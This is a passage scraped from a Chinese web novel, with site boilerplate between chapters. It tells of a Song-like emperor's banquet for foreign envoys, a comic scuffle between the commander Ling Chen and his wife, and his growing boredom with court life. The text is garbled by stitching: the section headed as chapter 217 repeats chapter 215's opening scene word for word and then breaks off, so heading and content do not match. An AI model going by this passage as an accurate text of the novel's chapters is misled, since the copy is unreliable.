先前花了大半个时辰,由上百名士兵费劲巴拉使出吃奶力气推到一起的攻城塔,在这短短的一会功夫,被什么未知的东西彻底吞噬,似是天雷滚滚一般轰的只剩一地黑木和残渣。 原本平整的地面也像是被雷劈过一样,露出好多个黑色的焦土大坑,而人们压根就没找到所谓的“龙啸营”人在哪里。 罗岩山紧皱眉头扶住城垛,望着远处那一地狼籍黑烟,人都傻了! 矩州府的那帮蠢猪们,先前还商量着要不要抵抗大郑!你妈的……你跟我说,要和这种朝廷打仗?! 冯延和张承是认识陈啸的,他们听到陈啸的名字后还有点惊讶,那小子不是不入仕途么? 结果是在这等着他们呢! 果然,不吭声的都是在闷声做大事。 大理国的段息烽第一个反应过来,从城墙边上一路小跑到文训所在的高台前,“噗通”一声就跪倒在了地上,双手伏地,以额贴砖,高声大喊道:“陛下万岁~万岁~万万岁!!” 众人这才反应过来,齐齐转身从不同的方向围绕着文训,跪地山呼:“陛下万岁~万岁~万万岁!!” 文训左手负立在身后,右手捋着龙须,深深的吸了一口气,仰面望向苍穹。 爽!! 这辈子没白活!! 喜欢陛下就是躺赢狗请大家收藏:()陛下就是躺赢狗更新速度全网最快。 第214章 恩威并施 当碳基生物冷静器的硝烟散去后,随着冬日寒风一起飘散的,还有魑魅魍魉们心中的蝇营狗苟。 朝臣们想要争权夺利,就只能停步在党争层面了。再想和唐末以来那样轮番上场,得先掂量掂量自己的小身板扛不扛得住。控制不了望云军和龙啸营,皇图霸业听起来和十万个冷笑话没有区别。 尴尬的是,望云军直属于皇帝陛下,连储君都无权调动。 而龙啸营,迄今为止,只闻其声、不见其人,无法选中。 当然了,如果你能速刷这两个地狱副本的话,后面还要直面凌晨这个最终BOOS。 从大郑立国至今,只听说过跑去刺杀凌晨的,没听说有谁活着回来的。 观礼结束,已经是下午了,文训心情大好,在宫中摆下宴席,要好好款待各位来使,和他们聊聊天,说说话。 其他人各回各家,各找各妈。 留英殿内宽敞明亮,兽型铜炉青烟袅袅,四周门窗紧闭。殿外寒风呼啸,殿内暖意熏人,各国、各地使臣分列两旁而坐,文若端着酒杯,往来穿梭于他们之中。 文训高坐在上首御案,满面红光的望着汇聚了全天下势力代表的大殿,轻歪着头对立在身旁的凌晨小声说道: “今天你可是让朕长足了脸面,你看他们一个个的脸色,各有不一,着实精彩。” 凌晨俯着身子听完后,抬头看了一眼殿内的使者们。他们有的盯着面前的珍馐美味毫无食欲;有的似乎心有千千结,只顾举杯自酌;还有的正在低头哈腰,与文若热情碰杯。 确实很精彩。 “他们是什么心情不重要,陛下的心情如何,才是身为臣子的头等大事。” “再这么拍马屁恶心朕,让你去龙啸营的靶场做你说的那个什么……零距离观察员。” 啧,不带这么的嗷~ “那是臣建议陛下把不听话的人拉过去,臣这么乖巧懂事、忠君爱国的一个人,陛下如何狠的下心……” 文训无语的笑着摇了摇头,懒得再去跟凌晨耍嘴皮子,示意他去坐到自己旁边的宴桌上后,看向了举着酒杯来到了大殿中央、朝着自己恭敬行礼的段息烽。 “陛下,臣父虽远在西南蛮荒之地,却一直敬仰着陛下的圣明。臣父时常教导我们,要多了解中原,多摸索陛下治国安民的每一项决策,若是能学的陛下的皮毛,也能在大理有一番作为了。 臣何其有幸,能够得见天颜,白日观朝廷王师威仪赫赫,晚宴品御肴佳酿醉人香风。来时臣还抱怨路途颠簸,一路艰辛,这会儿却只觉三生有幸,不虚此行。 臣斗胆,替年老体衰不能远行前来朝拜的父亲,敬陛下一杯,愿陛下福泽绵长,愿大郑长治久安~” 文训点着头热情的笑应道:“令尊与朕是同年,虚少朕两载,你这孩子言谈举止得体有当,颇有乃父之风,若是不嫌弃的话,朕便认下你这个世侄了。” 段息烽闻言连忙再次拜道:“臣侄惶恐!但君命不可违,臣侄再拜皇伯伯~” “嗯~” 文训笑着举起手中的白玉杯,远远的举着朝段息烽示意了一下后,放在嘴边轻抿了一口。 殿下的段息烽立刻双手捏杯,仰起脖子一饮而尽!面色看起来还有点激动。 客套过后,文训看着段息烽开口道:“今日你也看见了,我大郑将士能战,敢战,善战。之所以不战,是因为我们是一家人,所以朕不愿意兵戎相见。朕是天下的共主,又不是嗜血的屠夫。 你回去以后啊,要多劝劝国中之人,不要总抱着侥幸心理妄图抵抗天命,能谈就不要打。当然了,要打也可以直接说,这两个要求朕都会满足,主动权在大郑手中,选择权在你们手中嘛~” 段息烽听了这话后一点也没有恼,一直保持着一副认真聆听的模样。因为他知道,文训这句话不是说给他听的。 而是说给牂牁蛮、荆南、清泉、岭南、交趾以及……唐国。 “臣侄谨记教诲,一定将圣意原封不动的带回国中,禀明家父。” “嗯~”文训十分满意的看着段息烽点了点头,抬手示意他入座用餐。 一直坐在下面的罗岩山却没心思听他们绕弯子,乌蒙部也不会抵抗大郑,回去他就向西南行营的老大种平大开寨门,给他带路。 他现在关心的是另一个问题—— 箭术绝伦的段平兄弟,十分肯定的告诉自己,他的武艺在殿帅手底下撑不过三息。 罗洞主望着上方那个平平无奇的黑衣年轻人,怎么也看不出来他有这个实力。但段平兄弟能心甘情愿的在他手底下做一个随从,并且提起他就会不自觉的露出敬佩甚至畏惧之色,这事做不得假。 可是,就算是恐怖到这个地步的殿帅,也得臣服于身边这位年过半百的大郑皇帝。 天下英雄豪杰何其多也!人外有人,天外有天啊~~ 罗洞主只顾着感慨自己坐井观天了,丝毫没有察觉到殿内的气氛渐渐有些微妙。 本小章还未完,请点击下一页继续阅读后面精彩内容!决心臣服于大郑的势力代表自然是兴高采烈,放心吃喝,好好享受这趟京城之旅。不甘放弃的势力代表则是满腹心事,无心品尝眼前的美酒佳肴。 于是,没有直接利益关系的势力代表们,就轮番敬酒出场了。 西域。 哈拉汗国的王子头上缠着白巾,头布中间镶嵌着一颗酒红色的菱面宝石,顶上还插着一根不知名的珍禽羽毛,一身白色长袍,披着蓝白交织、绣有复杂金丝花纹的褂披,不卑不亢的上前行礼敬酒。 而西州回鹘和于阗国的使者却并没有一起上前,而是等他敬完酒以后,才并肩上前向陛下敬酒。 这就很有意思了。 按理说,都是一个地方来的,要么就一个一个单独露脸,要么就一起上来。三个人分成两拨,怎么能不叫人浮想联翩呢? 这事,还得从当下的西域局势说起。 自从上次高车部在土兀剌河被申屠明光和突厥、敕勒正义围殴大败之后,已经失去了对西域诸国的战略威慑和干预能力,西域也开启了兼并统一的主线任务。 打到如今,整个西域地区形成了哈拉汗国在西,西州回鹘在东北,于阗国在南疆的三足鼎立格局。 问题是,哈拉汗国可不止是在西域地区有地盘,他们在中亚还有远超其他两国的疆域和人口,实力最强。在经济、军事等领域全方面碾压另外两位。 而且,他们的民族主体是中亚葛逻禄人,其他两国是本土回鹘人。 虽然他们都信佛,但种族矛盾、水资源和生存空间等现实利益的争夺加在一起,能玩到一块去就见了鬼了。 对此,文训也只能暂时选择视而不见,告诉他们彼此之间要好好相处,不要轻启战端,多可怜可怜无辜的百姓。 等到大郑灭了唐国,将草原犁上一遍,就去找你们喝葡萄酒。 到时候你们仨也别分什么彼此了,统统都给我乖乖到碗里来。如果不听话,那就放李卿,反正他喜欢旅游,朕倒要看看,他能不能去撒马尔罕,登门拜访国王陛下。 接下来,更有意思的一幕出现了。 扶桑来的两个使者,竟然也是分开觐见的。 他们一个是冷泉天皇的使者,来自京都奈良;另一个是藤原实赖摄政关白的使者,来自平安京。 用大郑的角度来解释的话,相当于一个是陛下文训的使者,一个是殿帅凌晨的使者。 态度也不一样。 冷泉天皇的使者卑躬屈膝,对文训极尽赞美之词、深表景仰之意。重申了自刘仁轨白江口之战以后,唐倭之间建立起来的友好双边关系。并且希望郑皇陛下能够遵循传统,重新以中原正统的身份册封天皇陛下,并且提供法理保护,必要的时候,甚至期望大郑蓬莱水师能够提供军事援助。 而天皇陛下需要大郑水师来帮忙解决的威胁,正是藤原实赖的私人武装。 文训才不会管这些呢,你们爱怎么打怎么打,最好打光,关我屁事~ 但是,心里可以这么想,嘴上却不能这么说。 于是他和蔼可亲的鼓励了几句冷泉天皇的使者,并且拍着胸脯告诉他,大唐能做到的事,大郑同样也能做到。 爱卿不必担忧,好好在汴京转一转、逛一逛,走的时候说一声,朕叫礼部官员准备点中原的特产,你带回去给冷泉天皇尝尝。 天皇的使者千恩万谢的下去后,摄政关白的使者也起身上前,在与天皇使者擦肩而过的时候,他冷笑着看了对方一眼,目中尽是轻蔑和不屑之意。 他也恭恭敬敬的向文训敬酒祝词,不敬不行啊,高丽的事儿他听说了,蓬莱水师和望云军、龙啸营今天也都见到了,能不翻脸,就先不翻脸吧~ 等我们虚心学习到那种从空中把人飞下来的本事,还有把城楼一样高的攻城塔炸成粉末的技术之后,哼哼~~ 他也请求大郑能够遵循先唐旧例,允许倭国本土派遣遣唐使来汴京学习交流,来来去去就是那些陈词滥调,无非就是我千辛万苦飘摇过海的来学习,你得教我,还得包吃包住,走的时候还要送点礼物让我带回去。 另外,你们也要遵守旧例,不要插手倭国内部的事情。 前面倒没什么,但后面这句话,成功让心情不错的老文收起了笑容。 谁懂郑皇陛下微微低头的同时,缓缓抬眉的含杀量啊~ 望着等待圣谕的关白使者,文训并没有回答,就这么晾了他一会后,缓缓扭头,瞥了一眼坐在身旁不远处的凌晨。 有些话,一国之君不好说,也不能说。 但如果是年轻的殿帅来说,那就没有问题了。 凌晨会意后,放下手中咬到一半的孜然羊排,拍了拍手,径直来到了文训前方的台阶前。 他居高临下的俯视着这位脑袋两边留着头发,中间顶上扎着一撮,其他地方全都光秃秃的关白使者,一字一句的说道—— “你方才说的那些,大郑可以给,也会给。但记住了,你不能伸手要。至于你们国内的事,陛下既然已经答应了倭王,自然君无戏言。” 使者的脸色从一开始的自信从容,变成了被针对后的愤怒:“可是,按照以往的惯例,中原从来没有插手……” 凌晨毫不客气的打断,目光幽寒的盯着他说道—— “大郑是不会去遵循什么前朝旧例的,大郑是来给天下立规矩的。” 喜欢陛下就是躺赢狗请大家收藏:()陛下就是躺赢狗更新速度全网最快。 第215章 家庭暴力 “爸爸的爸爸叫爷爷~” “爸……哇忒哇哇……” 腰果趴在柔软的床榻上,嘴角流着口水,奶声奶气、含糊不清的尝试着读出凌晨已经在她耳边重复了几十遍的话。但是很遗憾,除了第一个字,没有一个清晰的。 青柠温柔的将带着虎头帽的女儿从床上提了起来,抱在自己怀里,十分亲昵的亲了一口她的脸蛋,随后嗔怪的对凌晨说道: “她才一岁都不到,相公你也太心急了,再说,女儿家这么早急着开慧做什么?” 凌晨从床上翻了起来,挤到青柠身边紧紧挨着她,将娘子和女儿一起搂进怀里,拖着腰果扭动的身子苦口婆心的说道: “这都已经晚了,之前你怀她的时候我太忙了,都没有给女儿进行胎教,现在属于亡羊补牢。” 青柠无语的瞪了凌晨一眼,轻轻晃着胳膊用鼻尖去触碰腰果的小鼻子,打趣着说道:“果果你看,爹爹要把你培养成一个女状元呢~” 凌晨气的伸手就捉住青柠的耳朵提了提:“你现在胆子越来越大了啊!都敢阴阳当朝殿帅了!信不信我……” “哎呦……凌晨!哎呦……” “嗷——!!” 感受到腰间传来一阵钻心的疼痛,凌晨狼嚎着跳了起来,松开青柠的耳朵使劲挣脱她的二指神功,躲闪到一旁直吸冷气,双手不停的揉搓腰间软肉。 “你要谋害亲夫啊?!下手这么狠!!” “是你胆大包天,竟敢以下犯上,对陛下亲封的镇国夫人动粗~” 我特么…… 腰果茫然的用水灵灵的大眼睛望着这对不靠谱的父母,不明白他们在做什么。被青柠放在床上后,就自己趴下朝着里面的被褥爬去。 夫妻二人坐在床的两边,凌晨双手比剑,做出武侠电影里那样的防御姿势;青柠一双手各握着腰果的两只小鞋子,二人目光交汇在空中,似有电光“滋滋作响”。 “不及早给果果开启学前教育,让她多读点书,以后要是被黄毛给骗了,你哭都没地方哭去。” “哪个敢欺负我的女儿?我们老刘家最不怕的就是打架,小时候我还帮哥哥一起打过镇子上的良子哥和石头呢!” “这就不是武力能解决的事,她要是不及早懂得道理,心甘情愿的被骗,你就算打死黄毛,她也会记恨上你的,到时候你可别哭!” “她是我身上掉下来的肉,我还管不了她了?再说教育女儿就教育女儿,你揪我耳朵做甚?都扯疼我了!” “我……我那不是……打是亲骂是爱你没听过啊!” “那妾身刚才也是对相公的‘亲’和‘爱’呢~” “哎你……哇哇哇!看招!” 下一刻,两个人如同两只猫一样缠斗在了一起,空气中只能看到夫妻二人挥手互搏产生的残影,腰果的鞋子被甩飞在了地上,紧接着又甩飞了另一只,不知道去了哪里。 最终,凌晨将青柠反手扣住,按着脖子压在床边不得动弹。 青柠倔犟的挣扎着喊道:“放开我。” 凌晨丝毫不为所动:“认错。” “一……二……” “三!我替你喊了,今天不正夫纲,你还真分不清楚谁是一家之主了!” “啊……我的胳膊好疼啊,你快松手啊!” “啊?” 凌晨见青柠表情和语气不像假装的,连忙松开她的胳膊,扶着她的肩膀把她拨过来,有些心急的想要查看。 谁知下一刻,刚转过身来的青柠一头扑进他的怀里,双手捏住他两侧腰间的软肉,死死攥住,顺带旋转着一拧。 终究还是心软中计了…… 堂堂镇国夫人,此刻头发却有些散乱的狞笑着问道:“说,谁是一家之主?” “你…你你你!疼疼疼!快松手!!” “还敢不敢欺负我了?” “你搞清楚,谁欺负谁……” “嗯?” “啊不敢了不敢了!再也不敢欺负夫人了,赶紧松手!要掐紫了!” “哼~~” “喔吼吼吼……” 大舅哥今天难得休沐没事,于是便来到妹妹和妹夫家里串门。当然了,他俩纯纯多余,主要是来看可爱的小侄女的。 解二见到大舅哥的马车停在了府门前,立刻笑着上前招呼:“大爷来了~” “嗯,老二啊,妹夫在家吗?” “在,我这就去后院喊郡公和夫人。” 大舅哥听后伸出手摆了摆,示意解二不用:“不用那么麻烦,我自己去寻他们,省的你来回跑这一趟~” 见他这么说了,解二只好笑着点头。 郡公府大舅哥很熟,问过丫鬟后,就径直朝着后院的主屋奔来,上到台阶掀起红棉门帘后,他朝着里面探头望去,开口喊道:“柠儿~~妹夫~~” 不多时,青柠整理着有些微乱的头发,揉着胳膊从侧屋走了出来,眼神躲闪,左边的耳朵也明显红的不正常。 还有一股药酒的味道。 大舅哥脸上的笑容渐渐消失,走上前去,拨着妹妹的脸蛋看了一下她红红的耳垂,立刻就皱起了眉头。 这章没有结束,请点击下一页继续阅读!再低头看一眼她扶着的胳膊,一股怒火就从心头燃起! 他满脸怒容的就往侧屋走去,青柠脸色一变,连忙伸手拉着要拦住他,大舅哥一把拨开妹妹的手,边走还边挽起了袖子! 逆天!长本事了!竟然敢家暴我妹!! 殿帅怎么了?武艺高强又如何?今天我就用这双铁拳让你认识认识,什么叫护妹狂魔! “凌晨!凌晨你给我出来!凌……” 掀起门帘走进屋子里后,大舅哥凶相毕露的脸色微微一僵,整个人愣在了原地。 可怜的殿帅整个人瘫在椅子上,腰带以上的衣服全都脱了下来垂着,光着膀子露出上身,腰身侧面两边紫着两大块!上面刚抹了棕褐色的药酒,正哎呦哎呦的喘着气,有气无力的呻吟着。 大舅哥长了张嘴巴,扭头看向跟随着自己走进来的青柠,青柠尴尬的伸出食指指了指凌晨,想开口狡辩一下,又感觉事实摆在这里,说什么都苍白无力,就干脆低下头盯着脚面一言不发了。 凌晨吸着凉气睁开眼睛一看,居然是大舅哥来了!那一瞬间,满腹的委屈夺眶而出,顿时就哀嚎了起来: “哥呀——你可算来了!!你再不来,我就要被她掐死在这里了!你可得为我做主啊!!” 大舅哥连忙走上前去,连宝贝侄女都顾不上看了,站在凌晨身边手足无措的伸出两只胳膊,想要摸着他安抚一下,又有些无从下手。 凌晨不顾疼痛的抓住大舅哥的胳膊,声泪俱下的哭诉着青柠的恶行,还挺着身子将伤处指给大舅哥看,委屈的像个三百多月大的孩子。 大舅哥瞪了青柠一眼,示意让她过来。 青柠双手绞在一起,低着头缓缓走到二人身前,还不等大舅哥开口,狐假虎威的凌晨立刻就带着哭腔吼道:“道歉!!” 青柠闻言双眼一瞪,立刻用威胁的眼神看向凌晨。 “嗯?” 大舅哥也瞪大了双眼,用不善的眼神看向妹妹。 “对…对不住…” “声音太小了,没听见!!” “你……”青柠抿嘴咬牙,欲要发作,又迎上大舅哥紧皱的眉头,憋了半天,泄了气,皮笑肉不笑的翘起两边嘴角,规规矩矩的对着凌晨道福行礼: “是妾身的不是,相公切莫计较,妾身在这给您赔不是了~~” 凌晨哼了一声,还想再多占点便宜,却被大舅哥一把捂住了嘴巴。 长点心吧!差不多得了,我一会就走,走了你可咋整啊! “哎~嘿嘿,果果真乖,骑大马好玩吗?” 大舅哥将腰果举到自己脖子上骑住,一只手扶着她的左腿,一只手护住她的后背,任由她抓着自己的头发开心的大笑着,偶尔还拍两下舅舅的头,好不欢乐。 青柠一边给凌晨抹药酒,一边开口问道:“嫂子呢?怎么没跟你一起来?” 大舅哥小心翼翼的将腰果放下来抱在怀里,用胡子蹭着逗她,漫不经心的回答道: “哦~你嫂子今天被莺儿妹子喊去参加茶会了,听说有什么珍珠粉的新款胭脂,一听就又是糊弄人的玩意儿。” 青柠撇着嘴笑道:“女人家凑在一起,就是研究怎么保养肤色和维持身姿,哥哥不懂就罢了,怎么还瞧不上似的?” “本来就是,哪有能让人容颜不老的东西,都是那些商贩喊出的噱头罢了。” “话虽如此,可总要一试,有些好像真的能起到一点作用。” 就在这时,一直闭目吸着冷气的凌晨十分不屑的插话道:“能有什么作用?心理作用吗?” 青柠听后白了他一眼,习惯性的拍了他一下,刚巧拍在他的伤口处,不仅被打了,还有两道指甲划过,那叫一个酸爽…… “啊——” “呼~呼~呼~” 青柠连忙按住凌晨触电般扭动的身躯,撅着嘴巴对着他的伤处接连吹了几口冷气,这才把生无可恋的凌晨重新给按住。 “你……你不要乱动嘛……” 嗯?! 我动你…… 你他…… 我呲…… 啊!算了,我放弃了~ 喜欢陛下就是躺赢狗请大家收藏:()陛下就是躺赢狗更新速度全网最快。 第216章 厌倦了 生活并不总是波澜壮阔和新奇有趣,更多时候,都是一尘不变的重复昨天,平静如水,或者也可以说是“一潭死水”。 随便怎么说都行,反正谁也不会例外。 建隆四年的除夕和新年,凌晨都没怎么好好过,全程待在北城门筹划观武的事项,连除夕夜都没有回家里去陪青柠和腰果。 大舅哥也空没回去,府中就只有婉云嫂子和青柠、二婶、青樱和腰果,还有一堆死契的仆婢,堪称全女除夕宴。 临颍郡公府和北城门之间距离很近,也没有什么特别重要的事,但就是忙的脚不沾地。大事没有,小事不断,手底下的人做事又蠢的要命,哪哪都不符合凌晨的预期效果,只能手把手的指导规划。 就这,还有很多唐的不得了的人,一件非常简单的小事,半天都学不会。等凌晨嗓子冒着烟好不容易把他们教会了,转头就忘记不说,还不主动问、不吱声。 不懂装懂的甜菜和过于内向的白日梦想家,在职场上比盛气凌人、使坏心眼子的聪明小人更容易让人破防,给早已经过了青春期的凌晨整的下巴都长了好几个痘。 与陛下登基大典、平蜀秋月夜并肩齐名的建隆观武,被誉为是大郑建国以来的三大盛会之一。场面之盛大、气势之恢宏、政治、军事影响之深远,方方面面都是旷古绝今的,传为一时之佳话。 但背后的代价却是数万人提前一个月如同蚂蚁一样不分昼夜的辛苦排练、紧密运作和互相配合。无数人牺牲了在除夕夜与家人团圆的机会,只为将大郑最好的一面展示给天下百姓,将郑军的铁血杀伐之气传递给各位邦国使臣。 结果是圆满的,但过程真的是太痛苦了! 观武结束后,殿帅就称病不上班了。这次没装,是真病了,眉心疼的脑袋都快炸了,一连睡了三四天才好转点。 就一个普通的观礼都把他整的去了一气,难以想象如果是指挥大兵团作战的话,会有多么费人。 这么一看,文训、文若、冯延、王臣鹤、种平、申屠明光、邵之祁,甚至包括应开疆和高车部的芝伏罗、唐国的温茂等人,其实都挺牛逼的。 且不说胜败,光是能统筹指挥这么多人行动,就已经不是一般人了。 反正让凌晨上的话肯定是不行的,真指挥不过来。 还是刺杀斩首、制造混乱、小规模快速机动更适合他。 虽然除夕没赶上,但上元佳节赶上了。 可是,看着人潮熙攘、烟火绚烂的汴京夜市,凌晨却怎么也高兴不起来。 完全没有了当初在望云镇过年时的那种兴奋、好奇、满足和开心了。 那时候,他看到村民们敲锣打鼓可有意思了,自己还忍不住上去擂了两锤;还亲自给自己的战马额前戴上一朵大红花,混在一群同样牵着自家耕牛、骡子的百姓们中间,参加镇子上的年俗活动,露出《亮剑》里面王有胜擦完皮鞋后的同款表情。 二是二了点,但那股少年气却是真实存在的。 现在自己衣食不缺、权倾天下,却失去了对生活的热烈。不仅如此,还要考虑应对明天和后天甚至多年以后的事情,有时候真的会感觉到一股深深的枯燥、厌烦和疲惫。 现在是:对美食提不起一丝兴趣,看到美女内心毫无波澜,逢人就笑着寒暄议事,独自一人时望着某个方向怔怔出神。 或是回忆过去,儿时的窗,苍老的墙,是否偷换了方向;或是展望未来,却发现未来的一切都已经可以想象的到,没有什么意外惊喜会出现,如果有,那一定是新的麻烦。 唉…… 自己才二十多岁啊,怎么感觉心态已经老成八十岁了呢?连老文那种不正经的老头都比自己活的惬意洒脱…… 这种不断重复昨天的生活,太阳不断升起的日子,一醒来就知道自己要追着地铁打卡上班,天一黑就知道自己要熬夜到昏死过去,不断重复轮回着每一天,真是受够了!! 彼其娘之!! 老子要去玉龙雪山!去赛里木湖!去呼伦贝尔!还要去喜马拉雅!! …… 好像不行呀…… 且不说这些地方都在很遥远的地方,基本都不属于大郑的势力范围,就算凌晨敢去,老文也不会放呐! 烦躁不安。 比没钱旅游更糟糕的情况就是——明明有能力去,却因为各种顾虑和考虑不得不作罢。 啊—— 抱着腰果跟在大舅哥、青柠、婉云嫂子和青樱身后逛灯会的凌晨,看似面色平静,实际上内心已经在怒吼咆哮了。 怀里的腰果一只手揪着凌晨的衣服,一只手将手指嗦在嘴里,好奇的看着满街繁华,有时候看到亮晶晶的烟花或者路上的稚童,还会露出欢喜开心的笑容。 只有看到宝贝女儿的憨笑,才能让凌晨稍微平息一下狂躁的内心。贴在腰果软软的脸蛋上,闻着婴孩身上特有的奶香味,“吧唧”上一口,盘踞在殿帅脑袋顶上的冲天怨气才消散了点。 这章没有结束,请点击下一页继续阅读!冬雪消融,春江水暖,又是一年枯木发新芽。 “人之初,性本善。性相近,习相远……” 吕齐坐在凌晨家的二楼暖阁窗边,仔仔细细的研读,一直读到“炎郑兴,受周禅”才停下。 “哥哥,这《三字经》几乎囊括了古往今来的一切前人遗宝,像孟母三迁、孔融让梨这类的诸多先贤事迹;三光三纲、四时四方等道理常识;自上古之今时的皇朝史历,读起来朗朗上口、浅显易懂,实在是孩童启蒙的……” “平云啊,你有多久,没有抬头看看天空了?” 吕齐正为凌晨作出《三字经》的巨大贡献而高兴喝彩呢,冷不丁被他打断来了这么一句,顿时就愣住了。 他顺着凌晨的目光看向春雨淅沥、云雾遮蔽的天空,眉头微微一皱,也陷入了沉思之中。 “哥哥不说,我都不曾察觉,应该也有好久了吧……” “你每天都穿梭在侯府和工部衙门,整日埋头案牍,神龙大道两侧建筑林立,人潮汹涌,有没有那么一刻,心底厌烦过?” 听到凌晨这么问,吕齐的目光也有些游离:“有啊……怎么没有?只是愚弟既然被陛下看重,纵使乏味枯燥、事物冗杂,也要咬牙坚持。一则为陛下分忧、为百姓谋利,二来……也为自己和家人能够维持眼下的生活,为了孩子将来能够站在更高的起点……” “那你自己呢?” “我……” 凌晨的话把吕齐给干沉默了。 “你有多久没有吹过来自燕山旷野的风了?” 先前还因为得到《三字经》印刷任务而略有一点激动的吕齐,此刻已经彻底耷拉下了脑袋,目光晦暗,emo了。 窗外还下着雨。 “哥哥今日怎么突然说这些?我是男人,一大家子等着我养活呢,工部每天都有重要的事情亟待解决。哥哥更是位高权重,牵一发而动全身。我们都不是当初混迹江湖、游历四方的少年了……” 凌晨单手扶着窗边,将一只手伸出去,接住从房檐上滑落的雨水珠帘,感受着手心处传来的冰凉,喃喃说道: “我记得当年在鸡城城外,也是这样一个雨天,你一身的衣服都湿透了,脚上的靴子也沾满了泥,那时候应开疆正在邺城和陛下开战,天下不知所向何方,人人前途未卜,可你却笑的很开心。” 吕齐回忆着笑道:“哥哥当时虽说面露愁容,却没有一丝灰败之色,反而是在想方设法的想要毁掉囤积在鸡城的粮草。那时候的哥哥,给弟弟的感觉就像是……一柄锋芒毕露的宝剑。” “时间久了,再锋利的剑也会生锈~” 凌晨将手伸了回来,甩掉水珠后随意的在身上擦了擦,背靠着窗边,微微皱眉,不着痕迹的叹了一口气,看着薄雾朦胧一言不发。 吕齐也盯着院子里的假山和碎石小径,若有所思。 良久之后,凌晨率先开口打破了沉默:“你回去后把《三字经》成批印刷出来,分付给上林苑和国子监,叫他们分发到各地州府官学,另外……现在唐国灭亡已成定局,活字印刷术差不多可以公开面世了。 你去跟中书门下上疏,看看他们是什么意思,再问过陛下,若是得到允许,就将印刷作坊里培养出来的骨干都调拨到全国各地吧!尤其是长安、成都、冀州、晋阳、江陵这些大城市,安排的人一定要可靠妥贴、认真负责,不要整些半调子过去。” “嗯。” 又商量了一些琐事后,吕齐便向凌晨道别,回印刷作坊去做事了。 只是走到楼梯边时,吕齐扶着扶手停住了脚步,扭头看了一眼立在窗边望着外面天空一言不发的凌晨。 不知道是不是错觉,他总感觉今天凌晨说的话像是在交付一般,好像接下来他就不管或者…管不到了一样。 应该是错觉吧,哥哥圣眷正隆,又刚刚筹划指挥了建隆观武,让大郑国威震慑四方,怎么也跟失势或者被贬沾不到一点关系。 摇了摇头后,吕齐便收回心思,“噔噔噔”的下楼去了。 细雨绵绵,春意绿浓。 喜欢陛下就是躺赢狗请大家收藏:()陛下就是躺赢狗更新速度全网最快。 第217章 什么叫“殿帅跑了”? “爸……哇忒哇哇……” 腰果趴在柔软的床榻上,嘴角流着口水,奶声奶气、含糊不清的尝试着读出凌晨已经在她耳边重复了几十遍的话。但是很遗憾,除了第一个字,没有一个清晰的。 青柠温柔的将带着虎头帽的女儿从床上提了起来,抱在自己怀里,十分亲昵的亲了一口她的脸蛋,随后嗔怪的对凌晨说道: “她才一岁都不到,相公你也太心急了,再说,女儿家这么早急着开慧做什么?” 凌晨从床上翻了起来,挤到青柠身边紧紧挨着她,将娘子和女儿一起搂进怀里,拖着腰果扭动的身子苦口婆心的说道: “这都已经晚了,之前你怀她的时候我太忙了,都没有给女儿进行胎教,现在属于亡羊补牢。” 青柠无语的瞪了凌晨一眼,轻轻晃着胳膊用鼻尖去触碰腰果的小鼻子,打趣着说道:“果果你看,爹爹要把你培养成一个女状元呢~” 凌晨气的伸手就捉住青柠的耳朵提了提:“你现在胆子越来越大了啊!都敢阴阳当朝殿帅了!信不信我……” “哎呦……凌晨!哎呦……” “嗷——!!” 感受到腰间传来一阵钻心的疼痛,凌晨狼嚎着跳了起来,松开青柠的耳朵使劲挣脱她的二指神功,躲闪到一旁直吸冷气,双手不停的揉搓腰间软肉。 “你要谋害亲夫啊?!下手这么狠!!” “是你胆大包天,竟敢以下犯上,对陛下亲封的镇国夫人动粗~” 我特么…… 腰果茫然的用水灵灵的大眼睛望着这对不靠谱的父母,不明白他们在做什么。被青柠放在床上后,就自己趴下朝着里面的被褥爬去。 夫妻二人坐在床的两边,凌晨双手比剑,做出武侠电影里那样的防御姿势;青柠一双手各握着腰果的两只小鞋子,二人目光交汇在空中,似有电光“滋滋作响”。 “不及早给果果开启学前教育,让她多读点书,以后要是被黄毛给骗了,你哭都没地方哭去。” “哪个敢欺负我的女儿?我们老刘家最不怕的就是打架,小时候我还帮哥哥一起打过镇子上的良子哥和石头呢!” “这就不是武力能解决的事,她要是不及早懂得道理,心甘情愿的被骗,你就算打死黄毛,她也会记恨上你的,到时候你可别哭!” “她是我身上掉下来的肉,我还管不了她了?再说教育女儿就教育女儿,你揪我耳朵做甚?都扯疼我了!” “我……我那不是……打是亲骂是爱你没听过啊!” “那妾身刚才也是对相公的‘亲’和‘爱’呢~” “哎你……哇哇哇!看招!” 下一刻,两个人如同两只猫一样缠斗在了一起,空气中只能看到夫妻二人挥手互搏产生的残影,腰果的鞋子被甩飞在了地上,紧接着又甩飞了另一只,不知道去了哪里。 最终,凌晨将青柠反手扣住,按着脖子压在床边不得动弹。 青柠倔犟的挣扎着喊道:“放开我。” 凌晨丝毫不为所动:“认错。” “一……二……” “三!我替你喊了,今天不正夫纲,你还真分不清楚谁是一家之主了!” “啊……我的胳膊好疼啊,你快松手啊!” “啊?” 凌晨见青柠表情和语气不像假装的,连忙松开她的胳膊,扶着她的肩膀把她拨过来,有些心急的想要查看。 谁知下一刻,刚转过身来的青柠一头扑进他的怀里,双手捏住他两侧腰间的软肉,死死攥住,顺带旋转着一拧。 终究还是心软中计了…… 堂堂镇国夫人,此刻头发却有些散乱的狞笑着问道:“说,谁是一家之主?” “你…你你你!疼疼疼!快松手!!” “还敢不敢欺负我了?” “你搞清楚,谁欺负谁……” “嗯?” “啊不敢了不敢了!再也不敢欺负夫人了,赶紧松手!要掐紫了!” “哼~~” “喔吼吼吼……” 大舅哥今天难得休沐没事,于是便来到妹妹和妹夫家里串门。当然了,他俩纯纯多余,主要是来看可爱的小侄女的。 解二见到大舅哥的马车停在了府门前,立刻笑着上前招呼:“大爷来了~” “嗯,老二啊,妹夫在家吗?” “在,我这就去后院喊郡公和夫人。” 大舅哥听后伸出手摆了摆,示意解二不用:“不用那么麻烦,我自己去寻他们,省的你来回跑这一趟~” 见他这么说了,解二只好笑着点头。 郡公府大舅哥很熟,问过丫鬟后,就径直朝着后院的主屋奔来,上到台阶掀起红棉门帘后,他朝着里面探头望去,开口喊道:“柠儿~~妹夫~~” 不多时,青柠整理着有些微乱的头发,揉着胳膊从侧屋走了出来,眼神躲闪,左边的耳朵也明显红的不正常。 还有一股药酒的味道。 大舅哥脸上的笑容渐渐消失,走上前去,拨着妹妹的脸蛋看了一下她红红的耳垂,立刻就皱起了眉头。 再低头看一眼她扶着的胳膊,一股怒火就从心头燃起! 